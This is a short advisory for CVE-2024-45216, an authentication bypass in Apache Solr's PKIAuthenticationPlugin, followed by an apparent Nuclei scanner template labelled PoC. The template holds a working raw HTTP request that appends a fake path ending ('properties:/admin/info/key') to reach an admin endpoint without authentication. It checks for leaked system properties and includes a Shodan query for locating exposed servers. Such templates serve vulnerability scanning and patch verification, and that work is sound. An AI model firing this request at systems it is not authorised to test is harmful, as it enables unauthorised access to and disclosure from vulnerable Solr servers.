Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
PoC
id: CVE-2024-45216
info:
name: Apache Solr - Authentication Bypass
author: gumgum
severity: critical
description: |
Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
reference:
- https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
- https://nvd.nist.gov/vuln/detail/CVE-2024-45216
- https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45216
cwe-id: CWE-863,CWE-287
epss-score: 0.91714
epss-percentile: 0.99809
metadata:
verified: true
max-request: 1
shodan-query: http.html:"Apache Solr"
tags: cve,cve2024,apache,solr,auth-bypass,vuln,vkev
http:
- raw:
- |
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
Host: {{Hostname}}
SolrAuth: {{to_lower(rand_text_alpha(5))}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "responseHeader"
- "system.properties"
- "solr.script"
- "solr.solr.home"
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022100e3b9834a282e0bf43520d888809b68eec094fecce0d575ac194ed3f595c278c602202edc2bc2dd71e4dbce791c11809fd594240a5347f1751620771123e3005966c4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.